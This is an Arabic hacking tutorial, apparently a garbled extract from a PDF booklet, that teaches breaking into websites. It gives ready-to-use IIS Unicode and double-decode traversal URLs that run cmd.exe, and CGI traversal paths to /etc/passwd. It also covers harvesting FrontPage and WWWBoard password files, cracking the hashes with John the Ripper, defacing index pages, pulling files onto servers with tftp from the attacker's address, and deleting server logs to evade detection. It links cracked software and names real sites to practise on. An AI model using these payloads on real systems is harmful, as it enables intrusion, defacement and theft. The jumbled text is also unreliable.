نظمـة مـن     هنا ثغرات جميع الأ     ، ول اختيار أ وتختار    ، اليسارلى  عوجودة  الم
 ".كود يوني"  أو Perl أو C نوعة منتوم. .نحوها  و"ويندوز" و"كسولين"
 

http://www.ussrback.com/
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 :ومن هذه المواقع أيضا 
 

http://neworder.box.sk 

 

 سـار اليلى  عوجود   الم في المربع   أعلاه  تكتب مثلا فوق    ،  الموقع مفيد جداً   هذا
IISو أ  apacheـ ي برنامج ويأو أصدارته إمنتدى وموقع و أ   كظهـر ل
  .ثغراته

 
 :مواقع أرشيفية للثغرات المختلفة 

 
www.securiteam.com/exploits/archive.html 

 

www.ussrback.com 
 

www.secureroot.com 
 

http://www.rootshell.com/ 
 

www.secureroot.com/category/exploits 
 

 

برامج مهمتها البحث عن الثغرات في موقع ما وتقديمها لـك            وهناك أيضا      
نسأل االله تمام    من أفضل برامج البحث عن الثغرات و       ههذو على طبق من ذهب   

 :مقاصدنا لكل خير يرضيه سبحانه 
 
 

http://www.securiteam.com/exploits/archive.html
http://www.ussrback.com/
http://www.secureroot.com/
http://www.secureroot.com/category/exploits
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 Shadow Security Scannerبرنامج  ) 1
 

 المضـغوطة مـع     وتجده أيضا في المرفقات   ( لتحميل البرنامج على هذا الرابط      
 " )الكراك"الشارخ 

 
http://mirror1.safety-lab.com/SSS.exe 

 

  :لكراكاتحميل 
 

http://www.aldamar.net/index_files/license.zip 

 

  :لتعريباتحميل ملف 
 

http://www.aldamar.net/index_files/ssslanguage.

zip 

 

  :وصلة شرح البرنامج
 

http://www.aldamar.net/index_files/ssslanguage.

zip 
 

 ،  والثغـرات  برنامج ذو شهرة عالية وفعالية كبيرة في فحص المواقع من المنافذ          
 ثم ن يعمل تحـديث فتوافـق   ، فيطلب أعد تحميل البرنامج يتم تتريله وتشغيله    ب

 مـن   Licence.key ل ما عليك هو صناعة ملـف       ، وك  يطفئ البرنامج 
ثم تشغيل البرنامج فيكتشف الملف ويسـألك        الكراك ووضعه في مجلد البرنامج    

http://mirror1.safety-lab.com/SSS.exe
http://links.php/?url=http:/www.aldamar.net/index_files/license.zip
http://links.php/?url=http:/www.aldamar.net/index_files/ssslanguage.zip
http://links.php/?url=http:/www.aldamar.net/index_files/ssslanguage.zip
http://links.php/?url=http:/www.aldamar.net/index_files/ssslanguage.zip
http://links.php/?url=http:/www.aldamar.net/index_files/ssslanguage.zip
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- بفضل االله    -شرح البرنامج متوفر     و Done ـهل تريد التسجيل فتجيب ب    
 . والله الحمد والمنة يضا في المرفقاتأ
 
 CGI Scannerبرنامج  ) 2
 

 ،  وهو الأفضل في عمل ذلـك      Cgi ص في البحث عن ثغرات    صختممج  برنا
 .واالله أعلم ، وتجد البرنامج متوفرا بحمد االله في المرفقات 

 
 UniScanبرنامج  ) 3
 

 )وتجده أيضا في المرفقات المضغوطة ( تجده هنا على هذا الرابط 
 

http://online.securityfocus.com/data/tools/unisca

n.zip 

 

  ولكن هـذا البرنـامج خـاص بفحـص ثغـرات           البرنامج كسابقيه وهذا  
Unicode.  

 
ساليب اكتشاف الثغرات في المواقع     أنتهينا من   احتى هذه النقطة نكون قد           

  .ن هي كيفية استغلال هذه الثغرات التي قمنا باكتشافهاوالخطوة التالية الآ
 

  :طريقة تنفيذ الثغرات
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  :الثغرات  تنفيذمكان ) أ
 

http://www.xxxxx.com/scripts/..&Aa....exe?/c+dir

+c:\ 

 

 !بعد العنوان الرئيسي دوت كوم 
 

 ! ؟ي شكل يظهر أو علىألذي يظهر  اماوقد يتسائل البعض 
 

 قمت بكتابته في نافذة الدوس ستظهر لك الملفـات         مر لو هذا الأ  ، و  الحل بسيط 
Dir واالله أعلم ريقة الدوسبنفس ط تقريباً وطريقة ظهور الملفات في المتصفح ، . 

 
  :شرح الثغرات واستغلالها) ب 
 
 :  وكيفية استغلالها"بيج الفرونت"شرح ثغرة  ) 1
 

 لشكلا بين المواقع وتأتي عادة ذا اًجد  هي ثغرة منتشرة"الفرونت بيج"ثغرة 
 

www.****.com/_vti_pvt 

 
ذه الثغرة تظهر لك ملفات     خلال ه  ومن vti_pvt_ الثغرة هي أن  يعني  وهذا  
  .و المشرفأ "الفرونت بيج"الموقع 

 

http://links.php/?url=http://www.****.com/_vti_pvt
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" فرونت بيج "ـبال تنفذ الثغرة وتوجد على المواقع التي صممت       :ملاحظة مهمة   
 من "جفرونت بي"ـبال الموقع مصمم كون – حينها - فعرتلت ولا تصلح لغيرها

 موقع
 

http://www.netcraft.net 

 

 ع معلومات يتجمريد  ي ت ذ أدخل الموقع ال    ،  مستطيل وترى أمامك تدخل الموقع   
  :وهو منه شيئا ، نستفيد  لا غالباغيرهمنه فقط وويهمنا ملف واحد  ، حوله

 
service.pwd 

 
  :وتكون ذا الشكل، المشفرة ،  "الباسوورد"نرى و نفتحه بالمفكرة

 
-FrontPage- 

 
Ekendall: bYld1Sr73NLKo 

 
Louisa: 5zm94d7cdDFiQ 

 
نفك التشـفير    Louisa و Ekendall شرفين م ن الموقع عليه  أهنا نرى   

رونت ف"ـ لل نذهبفك التشفير   بالطبع ، وبعد    " جون ذا ريبر  "بواسطة برنامج   
 لـك ظهـر  فت  الموقعضع عنوانوت ، File ==>> Open web" بيج

  .Save or publishتريدها وبعدها  تيالصفحة الرئيسية فغير ال
 

http://links.php/?url=http://www.netcraft.net/
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 الاسـم   ، والأمر سهل إن شاء االله تضـع        والاسم   يطلب منك كلمة السر   ثم  
  .Signضع السر وت وكلمة

 
 :وهذا موقع للتطبيق بعون االله سبحانه 

 
http://www.heyerlist.org/garderobe/_vti_pvt 

 

  :WWWBoard ثغرة الـشرح  ) 2
 

 ختراقه ا لنفترض أن الموقع المراد   ،  " الفرونت بيج "ثغرة بالإضافة إلى     هي أسهل 
 فقـط    مثـال   بالطبع هذا ( /http://www.boardprep.net هو

 .) فيه الثغرة والموقع لا توجد
 
 wwwboard/passwd.txt إليه لنضفف
 

 :ليصبح العنوان 
 

http://www.boardprep.net/wwwboard/passwd.
txt 
 

 فتح العنوان سوف تجدت
 

Cknouse: aexMVWnDOyrdE المستخدم إسم: كلمة المرور 
 

http://www.boardprep.net/
http://links.php/?url=http://www.boardprep.net/wwwboard/passwd.txt
http://links.php/?url=http://www.boardprep.net/wwwboard/passwd.txt


 

 

33 

������<<<<دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א����� ������א����د��א���

 cknouseأي إن اسم المستخدم 
 

 aexMVWnDOyrdEوكلمة المرور هي 
 

 لمة المـرور  كالمستخدم و  سم ا  عندك ، الآن  " ريبر اجون ذ "فك تشفيره ب  قم ب 
 !فما الحل ؟ وما العمل لتغيير الصفحة الرئيسية ؟

 
  .com.domen.ftpنذهب للأف تي بي ونكتب 

 
 المطلـوب الـذي عنـدك       سم الموقع اب domen.com إستبدل ملاحظة

 أنشـئ  و دخل على الموقـع   ا و "الباسوورد" و "اليوزر نيم " ضعو" باسوورده"
 .وارفعها للموقع  index.html صفحة بإسم

 :لتحميل الأف تي بي 
 

http://members.home.nl/patrick.pagina/temp/Ws

-ftp32.zip 

 

 
 : وكيفية استغلالها CGI bugs يآجي سي شرح ثغرة  ) 3
 

وبعـض  ،   "كـود  اليوني "وبعضها يمكن استخدامها مباشرة من المتصفح مثل      
المتصفح يتم التأكد فقط     ولكن بعض أو أكثر ثغرات    " السي جي آي  "ثغرات  

  . من وجودها من خلال المتصفح

ftp://ftp.domen.com/
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  :التي يمكن استغلالها من المتصفح مباشرة مثل الثغرات

 
/cgi-bin/passwd.txt 

 
 إذا كان الموقع هو

 
www.somesite.com 

 
 فحصفتكتب الثغرة هكذا في المت

 
www.somesite.com/cgi-bin/passwd.txt 

 
للمستخدمين للموقع   المرور هذه الثغرة تعرض لك أسماء المستخدمين وكلمات      
  .الموقع مثل المدير وكل من يسمح له بدخول قاعدة بيانات

 
تريد اختراق موقـع في      إلا إذا كنت   ! .. طبعا لا تحاول تجربة هذه الثغرة الآن      

 لا تصـلح  أحتى هذه الثغرة يمكن     ،   !  سنين 10 نسيه أصحابه من     "زيمبابوي"
  .ا صارت معروفةمعهم لأ

 
 لىإللوصـول   Cgi & Perl العيـب في ملفـات   اسـتغلال وبخصوص 

etc/passwd.  
 

http://links.php/?url=http://www.somesite.com/
http://links.php/?url=http://www.somesite.com/cgi-bin/passwd.txt
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-cgi/ عند وجود هذا الملف ، وShow Files الثغرات من نوعسنأخذ 

bin/apexec.pl?لىإ الثغرة للوصول  علينا استغلال هذه"الباسوورد" و 
: 
 

http://www.target.com/cgi-
bin/apexe...te=../../../../ 

../../../../../etc/resolv.conf%00.html&passurl=/c
ategory/ 

 
 ونفس الكـلام    "البيرل"هذا من جهة     ،   بالملف المراد  path مكانية تغيير إمع  

عند وجود هذا الملف ?cgi-bin/hsx.cgi/ " يآالسي جي "على  نطبقي
 ./cgi-bin/  في
 

 :حاول تطبيق الثغرة التالية 
 

http://www.Target.com/cgi-
bin/hsx.c..../etc/passwd%00 

 
  طريـق  و عن أما بالاختراق العشوائي    إقة المثلى للبحث عن هذه الملفات       الطري

 ضع هـذه الملفـات       ،  للبحث عن ثغرات في الموقع     "سكان"برنامج   استخدام
 الثغــــــــرات ضــــــــمن لائحــــــــة 

 . بعون االله ثغرته يتم تطبيق وجوده وعندcgi-bin/hsx.cgi/  مثل
 
  : وكيفية استغلالهاIIS" سأي آي آ"شرح ثغرة  ) 4
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IIS = Internet Information Service   ونستخدم ثغراتـه

 : مثلجداًة هي كثيرو Unicode's كودز باليونية المعروف
 

http://www.xxxx.com/scripts/..&Aacu...d.exe?/
c+dir+c: 

 
http://www.xxxx.com/scripts/..&Agra...d.exe?/

c+dir+c: 
 

http://www.xxxx.com/scripts/..&Agra...d.exe?/
c+dir+c: 

 
http://www.xxxx.com/scripts/..&Agra...d.exe?/

c+dir+c: 
 

http://www.xxxx.com/scripts/..&Aacu...d.exe?/
c+dir+c: 

 
http://www.xxxx.com/scripts/..&Aacu...d.exe?/

c+dir+c: 
 

http://www.xxxx.com/scripts/..&Aacu.../cmd.e
xe?/c+dir +c: 

 

http://www.xxxx.com/scripts/..&Aacu...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Aacu...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Agra...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Agra...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Agra...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Agra...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Agra...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Agra...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Aacu...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Aacu...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Aacu...d.exe?/c+dir+c
http://www.xxxx.com/scripts/..&Aacu...d.exe?/c+dir+c
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/msadc/..%25%35%63../..%25%35%63../..%
25%35%63../winnt/system32/cmd.exe?/c+dir

+c: 
 

/MSADC/..%255c..%255c..%255c..%255cwin
nt/system32/cmd.exe?/c+dir+c: 

 
 

 :ة طريقأكثر من  ب"سأي آي آ"طريقه استغلال ثغرات 
 

 cmd.exeـ  هذه الثغرات مباشرة من المتصفح مستغلين ملف ال        تطبيق يتم
  !وامرناألتنفيذ 

 
  :وامرتطبيق الأ وةلثغر لمثال

 
http://www.xxxx.com/_vti_bin 

/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+dir+c: 

 
 نشاء دليل جديدإمر أ
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.

exe?/c+md+cJ 

 

http://links.php/?url=http://www.xxxx.com/_vti_bin
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 لغاء دليلإمر أ
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.

exe?/c+rd+cJ 

 
 مر المستخدم للنسخالأ
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+copy+c:winntsystem32cmd.exe+c:ine

tpubscriptsDJ.exe 
 

 مر المستخدم للحذفالأ
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.

exe?/c+md+c:inetpubwwwrootindex.asp 

 
 مر المستخدم لتغيير مسمى الملفالأ

 
http://www.xxxx.com/_vti_bin 

/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+ren+cJ.htm+DJKING.htm 

 
 مر المستخدم لرؤية محتويات الملفلأا
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http://www.xxxx.com/_vti_bin 

/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+type+c:index.htm 

 
 مر المستخدم للكتابة داخل أي ملفالأ
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+echo+HACKED+BY+DJ+KING+>+cJ.

txt 
 

 
 , msadcلى تغيير مسمى الـدليل بحيـث يكـون    إقد نحتاج: ملاحظة 

_vti_bin , iisadmpwd , _vit_admin , scripts , 

samples , cgi-bin.  
 
  : منبد  لا ماولى لموقع الأةن لتغيير الصفحوالآ
 

ــ*  ــى الصــفحةالكتاب ــر مســتخدمين الأة الرئيســية عل   .echo م

ــامج  *  ــطة برن ــيه بواس ــفحتك الشخص ــع ص   .TFTP ال برف

 مرالأ باستخدام index.htm  للموقع الرئيسي ف على الملّ  ةطريقة الكتاب * 
echo.  
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ا لا مبدئي ملف  من نسخ  بد cmd.exe دمجلّ  لى إ scripts    ذا الشكل على
 :المثال بيلس
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.e
xe?/c+copy+c:winntsystem32cmd.exe+c:inetp

ubscriptsDJ.exe 
 

 
 ة الجديدةف يمكن تصفح الموقع بالثغر نسخ الملّن تمّأد وبع
 

http://www.xxx.com/scripts/DJ.exe/c+dir+c: 
 

  :كل التاليبالشecho  مروبعدها يمكن تنفيذ الأ
 

http://www.xxx.com/scripts/DJ.exe?/...hacker
mail.com+>+c:inetpubwwwrootindex.htm 

 
 :ملاحظات مهمة 

 
 index.htm  للموقع اسمها  ةسيي الرئ "كسيندالإ"ن يكون   أ ةليس بالضرور 

 ـ  , index.html , default.html  :ن تكـون أمكـن  ن المفم

default.htm , default.asp ـأكد أفعليك الت  ف ولا من اسم الملّ

http://www.xxx.com/scripts/DJ.exe/c+dir+c
http://www.xxx.com/scripts/DJ.exe?/...hackermail.com+>+c:inetpubwwwrootindex.htm
http://www.xxx.com/scripts/DJ.exe?/...hackermail.com+>+c:inetpubwwwrootindex.htm
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ن يكـون   أممكن   و الرئيسي ن يكون بأهو الافتراضي    index.htm ولكن
ـال د غير في مجلّالملف الرئيسي wwwroot لذا فلا من البحثبد . !  

 
   :TFTP  بواسطة برنامجةطريقة استخدام رفع الصفح

  في المرفقات المضغوطة بفضل اهللالبرنامج موجود: ملاحظة 
 
 FTP ـل برنامج ال  حمه ،   علا أ ضهااترفاتمّ   التي   ةالثغرفي  يضا  أبيقها  طسيتم ت  

المـراد   و صـفحتك  أ "كسيندالإ"ضع   ،   :c ـفي ال  ضعه و فهو صغير ومجانيّ  
  :مر التاليذ الأالبرنامج و اجعله جاهزا ثم نفّ شغل أيضا ، :c ـفعها في الر
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.

exe?/c+tftp.exe+"-
i"+y.y.y.y+GET+index.htm+C:inetpubwwwroo

tindex.htm 
 

 البرنامج المستخدم للرفع هو tftp.exe يثبح
"i-"براميتر 

y.y.y.y  الخاص بك"بي يالآ"رقم  
 . يحتاج توضيح  لاظنأوالباقي على ما 

 
C: inetpubwwwrootindex.htm كما الافتراضي الوضع هو 

 .ولاأكد أالت  منبد خر فلان يختلف من موقع لآأمكن من الم لكن  ،ذكرت
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 "غاللو"وأخيرا لمسح 
 

http://www.xxxx.com/_vti_bin 
/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+del+c:/winnt/system32/logfiles/*.log 

 
 
  للمواقع ةما بالنسب  ، أ  IISـ   الويندوز و ال   "سيرفرات"  ما يخص   كلّ اً تقريب هذا

 فطريقة الـتفكير  : Apache on Linux المثال التي سيرفراا على سبيل
رستتغي ـ ختراق عن طريق ال الا خلاما اكليftp server ،   فمعظم نسـخ

 .يمكن استغلالها لها ثغرات ftp ـال
 
  :يفية استغلالهاك و"كود اليوني"ثغرة شرح  ) 5
 
 " :كود اليوني"ثغرات  : ولاأ
 

UNICODE - Internet Information Service IIS4 - 
IIS5 

 
  .الخامس أو – صدار الرابعالإ ، نترنتنظام خدمة المعلومات للإ" : كود اليوني"
 

 ـ اليونيكود عبارة عن مجموعة من الثغرات في مجموعـة         " : يوني كود "تعريف بال
 تي عـادة مـع    أوالذي ي  IIS4.0/IIS5.0 المعلومات التي ركبت مع    ةخدم

NT4/Win2k.  
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  :ه الثغراتذيجاد هإكيفية 

 
  :يجاد هذه الثغرات بطريقتينإيتم 
 

سـواء   ،   بواسطة البرامج اللازمة والمخصصة لكشف هـذه الثغـرات        : الأولى  
  تعمل على نظام    والتي "ليالش"و بطريقة   أ "ويندوز"بالبرامج التي تعمل على نظام      

  .كسوينل
 

  .بواسطة تطبيق الثغرة على الموقع مباشرة: الثانية 
 

 " :كود اليوني"كيف يتم استغلال ثغرات 
 

بفك شفرة  CMD ملفأ يبد IIS4/IIS5 نظام الـ عند تطبيق الثغرة على
  . ومن هنا يتم استغلالهاأالمثال الخط  في"كود اليوني"
 
 
  :CMD  ملفوامر المستخدمة بواسطةالأ

 

مـر  أمر النقـل و   أمر النسخ و  ألغاء دليل و  مر لإ أو نشاء دليل جديد  مر لإ أوهي  
مر الكتابة داخل أي    أمحتويات الملف و   لرؤية مرأسماء الملفات و  أمر تغيير   أالحذف و 
  :مثلة التاليةحسب الأ مر لسحب أي ملف ، وهيأملف و
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  :يلي ما كريقةوالط ssinc.dll  بالتعامل مع الملفولىالطريقة الأ 
 تكون هذه الصفحة داخـل مجلـد       test.shtml نشاء صفحة باسم  إولا   أ

wwwroot/hEx/test.shtml   ،    داخل الصـفحة   "الكود"كتابة هذا  
ن يـتم طلـب     الآ ،   حرف 2049 يتم كتابتة حتى يتعدى    A ن حرف أبحيث  

ــفح  ا ــلال المتصــــ ــن خــــ ــفحة مــــ  لصــــ
http://www.xxxx.com/test.shtml   ، ن سوف تظهر لـك     الآ

 ـ   ن تستطيع الكتابـه وتم الآ ، ولصفحةا  Access تخطـي مشـكلة الـ

Denied  لم تقم   نك ذلك أ   فمعنى 500رقم  أ  ظهرت لك صفحة الخط    ذا ، إ
  .عادة المحاولةإوعليك  بتطبيق الطريقة بالشكل الصحيح

 
 لهـذا " ب لوود أ"بحيث يتم عمل     NC.exe برنامج ة باستخدام نيالطريقة الثا 

 ـ    وامر من  ومنه يتم تنفيذ الأ    ،" الويندوز"دليل   في Temp الملف داخل مجلد ال
ب الأ"مفتوح لعمليـات     Temp الـ  مجلد  فإن علم ولل "سالدو" هخلال موج 

  " .لوود
 

البرامج اللازمـة    فر باستخدام  للسير "كراش" وهي من خلال عمل      ثالثةالطريقة ال 
  . في كثير من الاحيانةذا الغرض وهذه الطريقة غير مجديله
 

،  root.exe  ، sensepost.exe البحث عن ملفات بعةاالطريقة الر
shell.exe  ،w3svc.exe  ــخها ــدإونســــ  لى مجلــــ

c:\inetpub\scripts وتطبيق الثغرة من خلالها.  
 

http://links.php/?url=http://www.xxxx.com/test.shtml
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لة كيفية اختراق المواقع عن طريق استغلال       حتى هنا نكون قد شرحنا وبالأمث     
 .الثغرات التي ا 

 
 لى الحصـول علـى ملـف      إنظمة قد تؤدي بنا     ولكن هناك ثغرات في الأ         

ذا استطعنا الحصول عليه وفك تشفيره عنـدها يصـبح          إ و  ،  للنظام "الباسوورد"
حكم فيهـا   مكاننا الت إكل المواقع التي على السيرفر ب     والنظام بالكامل خاضع لنا     

 . التالي بعون االله كيفما نشاء وهو ما سيتم شرحه في هذا القسم
 

 وكيفية التعامل معها" الباسوورد"ملفات 
 

من " الباسوورد" مراجعة شرح ملف     - غير مأمور    - قبل البدء ذا القسم عليك    
  .ساسيات وتعاريفالقسم الأول الذي هو أ

 
 جميـع ملفـات    نالآ ؟ مـاذا تفعـل    لـل ظم password ذا كان ملف  إ

password لفكها للة ولكن توجد طريقةظتكون م!  
 
  .shadow" ووالشاد" لل يجب عليك البحث عن ملفظذا وجدت الملف مإ
 
وهذا الملـف يوجـد في       ؟ الأنظمة في shadow ملف ماكن تواجد أهي   ما
 ليك الجدول التالي  إمكان يوضع به هذا الملف ،         وكل نظام تشغيل له    ة معين ةمكنأ
: 
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Linux: /etc/shadow token = * 

 SunOS: /etc/shadow token = أشكال متعدده اشهرها  يأخذ
 * هو

FreeBSD: /etc/master. Passwd or /etc/shadow 
token = *  

 
 x  والجديد هو

IRIX: /etc/shadow token = x 
AIX: /etc/security/passwd token = ! 

ConvexOS : /etc/shadow or /etc/shadpw token 
= * 
 

Token    ــد في ــذي يوج ــز ال ــني الرم ــف تع  passwd المل

فهذا المرور  بدل كلمه! علامة ، يعني لو مثلا لقيت ةالمهم وهذا يفيد في تسهيل
ــني  ــرورأيع ــة الم ــجل ن كلم  etc/security/passwd/  فيةمس

ملـف   ( وشـادو "ستعنت بالجدول السابق ذكره ، مثال على ملـف          القد   ،
 .)ة فيه كلمة المرور الصحيح و الملف الذي تخزن ه"ووشاد"
 

 ة الأخيرة وهي دمج ملف    طوالخ فيه مشفر  تكون الكلام الذي  " ووالشاد"ملف  

shadow & passwordمـع  "والشادو"نصحك في دمج ملف  ، أ 
وصـلة  وهذه   "بيريجون ذا ر  "مر في برنامج     بكتابة هذا الأ   "ووردالباس "ملف

 . المضغوطة بفضل االله  في المرفقاته أيضاد وتجالبرنامج
 

http://www.openwall.com/john 
 

http://links.php/?url=http://www.openwall.com/john
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ن البرنامج مخصص لفك تشفير الملفات المشفرة ولكن يوجـد في           أولا من   أنبه  أ
وذلك لضمان عدم وقوع     ، "ووردالباس" مع ملف    "ووالشاد"لدمج ملف    مرأ
 مر هوالأ ، خطاء عند الدمجأ
 

unshadow passwd.txt shadow.txt 
 

 

سهلة ولكن لضمان عدم وقوع      ذا لم تنجح العملية وتريد تطبيقها يدويا فهي       إ
 ـ"التي تكون في ملف      x خطاء عند الدمج فقط قم بتبديل علامة      أ  "ووردالباس
 x   تطبق العملية في كل علامة"وادوالش"ملف  في  اللام الموجود بدلا عنهاـب

 " .ووردالباس "تكون في ملف
 
 John theبعد دمج الملفين تصبح الأمور جاهزة لتشـغيل برنـامج        

ripper ولكن عليـك    اً بسرعة عالية جد   "الباسوورد"الذي سيقوم بتخمين     و 
 ـآالشـرح في    انتظر   (  في بعض الأحيان    !يامأالصبر فهذه العملية قد تأخذ       ر خ

  .) المقالة
 

قي ما هي الخطوة    ي الحق "الباسوورد"ننا استطعنا الحصول على     أحسنا لو افترضنا    
 ! ؟القادمة

 
 ـالت"الموقع في   " ردوباسو"يمكنك استغلال    " :ردوالباسو" استغلال   يةكيف  -لي

ــت ــن  ،  "ن ــدخل م ــالت"ت ــت - لي ــا "ن ــل م ــد  وتفع  تري

  .شر وهو الأسهل والمنت"ف تي بيالأ"من  نك تدخلأو أ



 

 

48 

������<<<<دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א�����دع�א��ل�و�
	���א����� ������א����د��א���

 

  :منها ftp ـال حد برامجأيمكنك استخدام  ؟ ، ftp الـب يفية الدخولك
 

Ws_ftp أو CuteFTP 4.2.5 Build 10.4.1 
 
 تمّ" مـثلا   صفحة البداية ونكتـب     تغيير   ديراخترقنا موقع ون  ن نحن بحول االله     الآ

 ؟ يتم ذلك كيف ! " اختراق هذا الموقع
 
 موجـود   لموقعل التابع" وردوالباس"يكون   عندما ية الرئيس ةير الصفح ي تغ ستطيعت

قم بإلغائه وضع   و  أ هافتح index لملف   ذهبت، ثم    تدخل عليه    هابعد ، و  عندك
 Cute FTPيسـمى  برنامج واسطة بمور التي نريدها ملف بنفس الاسم بالأ

WS_FTP PRO  إن شاء االله والبرنامج سهل. 
 
ظم المواقع تكون لوحـة      مع  ، لوحة التحكم لل  ودخالتحاول  يضا أن   أمكانك  إوب

ــكل   ــى الش ــا عل  أو www.sitename.com:2082 تحكمه
www.sitename.com/cpanel   ،  ـ   هذا في  ن الموقـع   و حـال ك

 ـ ومن ثم تظهر لك نافذة      ،   وهو البرنامج الأكثر شيوعاً    CPanel يستخدم ال
 . بإذن االله  في الداخلبحوتص ، السر ب فيها اسم المستخدم وكلمةاكت
 

  ؛TFTPو هنا شرح للعملية كمثال عبر برنامج 
 

ج  بواسـطة برنـام    "ب لـوود  الأ"تغيير الصفحة الرئيسية للموقع وعمليـة       
TPTF:  

http://links.php/?url=http://www.sitename.com:2082/
http://links.php/?url=http://www.sitename.com/cpanel
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 الـ على index.htm باسم واحفظها عليها نشاء صفحة وضع شعارك   إقم ب 
c:\ ، برنامج قم بتشغيل TFTP ّالتالية مر في الفقرةذ الأونف:  

 
c:\tftp.exe "-i" 1.1.1.1 GET index.htm 

C:\inetpub\wwwroot\index.htm 
 

 :والتفصيل هنا كالتالي 
 

TFTP   ن يكون شـغال في     أويجب  ،   "ب لوود الأ"لعمل   وهو البرنامج اللازم
 .مرالأحالة تنفيذ 

 
"-i"  الملفات مكتبة في  البياناتة قراءمن أجل "باراميترز"وهو بمثابة. 

 
  . الخاص بك"بي يالآ"رقم  1.1.1.1

 
GET والاستقبال رسالبين الإ مر اللازم لطلب الملفات ماوهو الأ. 

 
Index.htm جهازك في اسم الملف. 

 
\inetpub\wwwroot\ السيرفر"الدليل في  اسم." 

 
Index.htm لسيرفرا"الملف على  اسم." 
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 ثـارك بعـد   آخفـاء   إ يوه لاأي موقع   أهناك خطوة مهمة عند اختراق      بقيت  
 ؟ ذلك كيف فيؤذينا أو يبلغ عنا ، فيعرفنا صاحب الموقع  لاحتى ، الاختراق

 
 "الدوس"في مر الأ نكتب هذا

 
c:\ del c:/winnt/system32/logfiles/*.log 

 
ومـن ثم ملـف      windowsها إلى ملـف     وبعـد  :cإلى الــ     ذهبنأو  

System32 وبعدها نقوم بمحي ومسح أي ملف ينتهي بـ ، log.  
 

خوة في التـدرب علـى      ن نضيف نقطة قد تنفع بعض الإ      أن       بقي علينا الآ  
وهي   مجاني "كاونتأل  يش"لا وهي كيفية الحصول على      أ و الاختراق    "اليونكس"
  :تيم عبر الآتت
 

  :نوعين لىإ "ونتساكأالشيل "وتنقسم 
1 (restricted 

2 (non-restricted 

 
 ـ  restricted نأوالفرق بينهما     ي أ  ويمكنـك مـن تنفيـذ      ةمدفوع القيم

command ـما ال  أ non-restricted نه لا  ألكن مشكلته    مجاني فهو
 ! وامرذ كل الأيمكنك من تنفي
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شيل "ي مزود    أ الحصول عليه من    مجانا يمكنك  "ونتاكأشيل  "ى  لكي تحصل عل  

ــأ ــ"ونتساك ــبكى عل ــلة الش  www.cyberarmy.net :  مث

 
لك لماذا تريـد    أطبعا سيس ،   "ونتاكأشيل  " واطلب منه    ةصل بمزود الخدم  تو ا أ
 ـ" نظام   ىلتدرب عل ل هنك تريد استخدام  أ ب هبيجفت "ونتاك أ الشيل" كس واللين

 ،" ونـت اكأشيل  " يعطيك   كي ل ة كافي ةجاب الإ ه وهذ ، !  فيما بعد  "واليونكس
  :التالي ببينها  وتتميز فيماة مختلف"ونتساكأالشيل "و
 
1 (telnet.  

2 (nslookup المضيف والذي يعطيك معلومات عن.  
3 (ftp.  

4 (finger.  

5 (trace route.  
6 (dig اني"الشيلز" في معظم - غالبا -مر غير متاح وهذا الأة  ا. 
7 (netstat . 
8 (gcc  ة  البرمجة للغ"يليرامبوك"وهذاc.  
9 (gzip لفك ضغط الملفات.  

10 (lynx نترنتمتصفح للإ.  
 
 

 :مختصر شرح البرامج المستخدمة 
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احفـظ  : ملاحظـة    ، و   البرنامج في السي    ضع " :يرريب ذا جون"شرح برنامج   

 ـ      البا  ،  password وتسـميه  txtف  سوورد في نفس ملف البرنامج في مل
 . التماشي مع الشرح لأجل

 
ادخـل علـى    ف ،" الدوس" على   عمليالبرنامج  أما عن كيفية شغل البرنامج ؟ ف      

ــدوس" ــب" ال ــذا   ..cd واكت ــكله هك ــبح ش ــتى يص   ثمc:> ح

  ، والآن تنقصك أوامر البرنامج فما هي ؟john اكتب
 
مر يبحث لك عن الكلمات المحتملة من خلال قـوائم بكلمـات السـر              أ ) 1

 john -w:wordlist.txt password.txt : ليكالتــا وصــيغته

 
ــف  ـ   wordlist ملـ ــر المحتملــ ــات السـ ــي كلمـ   وةهـ

password ذا الاختيار واالله أعلم كلمة السر المشفرة رغم أنني لا أنصح . 
 
 السر التي تكون مطابقة لاسم المستخدم وصيغته       مر يبحث لك عن كلمات    أ ) 2
:john -single passwd.txt .  
 
 john -iD:igits :رقـام فقـط وصـيغتة   بحث لك عـن الأ مر يأ ) 3

passwd.txt.  
 
 john -i:Alpha passwd.txt :الصغيرة مر يبحث عن الحروفأ ) 4
. 
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 john -i:all :الاحتمالات الممكنة وصـيغتة  مر يبحث لك عن جميعأ ) 5

passwd.txt   ،    ولكنـه  نه طويل    لأ  ، ذا فشلت فيها كلها   فيما إ هذا الخيار
 . واالله أعلم يارفضل اختأ
 

ولم   مـثلا ،    ساعة  يعمل لمدة   البرنامج بدأوخيار  خر  آاخترت  ونا  حسنا قمت أ  
! ، ولست متفرغا لأترك الجهاز يعمل لوحده فما العمـل ؟            ! يحدث أي شيء    

" + كـونترول "أو  " سي" + "فتيش" + "نترولوك"على   اضغط    :عندي الحل 
ــي"  ctrl+shift+c" ســـــــــــــــــــــ

ctrl+c.  
 

